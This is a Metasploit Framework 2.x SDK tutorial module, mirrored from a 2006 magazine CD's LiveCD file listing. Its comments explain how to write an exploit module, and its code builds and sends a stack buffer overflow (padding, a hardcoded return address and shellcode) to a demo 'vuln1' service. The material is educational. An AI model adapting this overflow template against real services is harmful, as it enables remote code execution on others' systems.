home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / usr / lib / metasploit / sdk / docs / vuln1_2.pm < prev    next >
Text File  |  2006-06-30  |  4KB  |  122 lines

  1.  
  2. ##
  3. # This file is part of the Metasploit Framework and may be redistributed
  4. # according to the licenses defined in the Authors field below. In the
  5. # case of an unknown or missing license, this file defaults to the same
  6. # license as the core Framework (dual GPLv2 and Artistic). The latest
  7. # version of the Framework can always be obtained from metasploit.com.
  8. ##
  9.  
  10. package Msf::Exploit::vuln1_2;
  11. use strict;
  12. use base 'Msf::Exploit';
  13. use Msf::Socket::Tcp;
  14. use Pex::Text;
  15.  
  16. my $advanced = {
  17. # Calculated at 76, give some room for different paddings, etc
  18.   'PreRetLength' => [76 - 8, 'Space before the we start writing return address.'],
  19.   'RetLength'    => [32, 'Length of rets to write (in bytes)'],
  20. };
  21.  
  22. my $info = {
  23.   'Name'    => 'Vuln1 v2 Exploit',
  24.   'Version'  => '$Revision: 1.1 $',
  25.   'Authors' => [ 'spoonm', ],
  26.   'Arch'    => [ 'x86' ],
  27.   'OS'      => [ 'linux'],
  28.   'Priv'    => 1,
  29.   'UserOpts'  =>
  30.     {
  31.       'RHOST' => [1, 'ADDR', 'The target address'],
  32.       'RPORT' => [1, 'PORT', 'The target port', 11221],
  33.     },
  34.  
  35.   # We know added a Payload entry, telling the Framework that our exploit
  36.   # requires a payload
  37.   'Payload' =>
  38.     {
  39.       # We have a space limit because of the recv 4096, but its a big one
  40.       # A bigger value would mean faster brute forcing (larger steps) but
  41.       # also run the risk of running off the end of the stack
  42.       'Space'     => 500,
  43.  
  44.       # No BadChars because the bug is a recv call
  45.       'BadChars'  => "",
  46.  
  47.       # This means if we had a payload of 490 bytes in length it would
  48.       # fail since there isn't room for 16 bytes of nop.
  49.       'MinNops'   => 16, # This keeps brute forcing sane
  50.     },
  51.   'Description'  => Pex::Text::Freeform(qq{
  52.       Killer shark, we never stop
  53.     }),
  54.   'Refs'  =>
  55.     [
  56.       'http://www.metasploit.com',
  57.     ],
  58.  
  59.   # Setting this to -1 means that we won't pick a default target.
  60.   # This is good if it is a 1 hit exploit, or if the target isn't
  61.   # brute force, etc.
  62.   'DefaultTarget' => -1,
  63.  
  64.   # Suppling a Targets entry tells the Framework we have targets.  The framework
  65.   # will make a user supply a target (or default it, see above), and validate
  66.   # that their target is valid, etc.
  67.   'Targets' =>
  68.     [
  69.  
  70. # Fudge the number gotten from gdb a bit to hit some nops and fall in
  71.       ['Slackware Linux', 0xbffffa60],
  72.     ],
  73. };
  74.  
  75. # Again, boilerplate new function, same thing
  76. sub new {
  77.   my $class = shift;
  78.   my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
  79.  
  80.   return($self);
  81. }
  82.  
  83. sub Exploit {
  84.   my $self = shift;
  85.  
  86.   # We call GetVar to get UserOpts, etc
  87.   my $targetHost  = $self->GetVar('RHOST');
  88.   my $targetPort  = $self->GetVar('RPORT');
  89.  
  90.   # The Framework returns the (validated) Target the user selected.
  91.   # This is an index into our Targets Info entry
  92.   my $targetIndex = $self->GetVar('TARGET');
  93.   my $target = $self->Targets->[$targetIndex];
  94.   my $ret = $target->[1];
  95.  
  96.   # The Framework puts an EncodedPayload entry into the environment.
  97.   # This is a object which encapsulates the payload selected by the user
  98.   my $encodedPayload = $self->GetVar('EncodedPayload');
  99.   # Pull the payload data from the EncodedPayload object
  100.   my $shellcode = $encodedPayload->Payload;
  101.  
  102.   my $sock = Msf::Socket::Tcp->new(
  103.     'PeerAddr' => $targetHost,
  104.     'PeerPort' => $targetPort,
  105.   );
  106.   if($sock->IsError) {
  107.     $self->PrintLine('Error creating socket: ' . $sock->GetError);
  108.     return;
  109.   }
  110.  
  111.   # You call GetLocal for Advanced options, unlike calling GetVar above
  112.   my $evil = 'A' x $self->GetLocal('PreRetLength');
  113.   $evil .= pack('V', $ret) x int($self->GetLocal('RetLength') / 4);
  114.   $evil .= $shellcode;
  115.  
  116.   $sock->Send($evil);
  117.  
  118.   return;
  119. }
  120.  
  121. 1;
  122.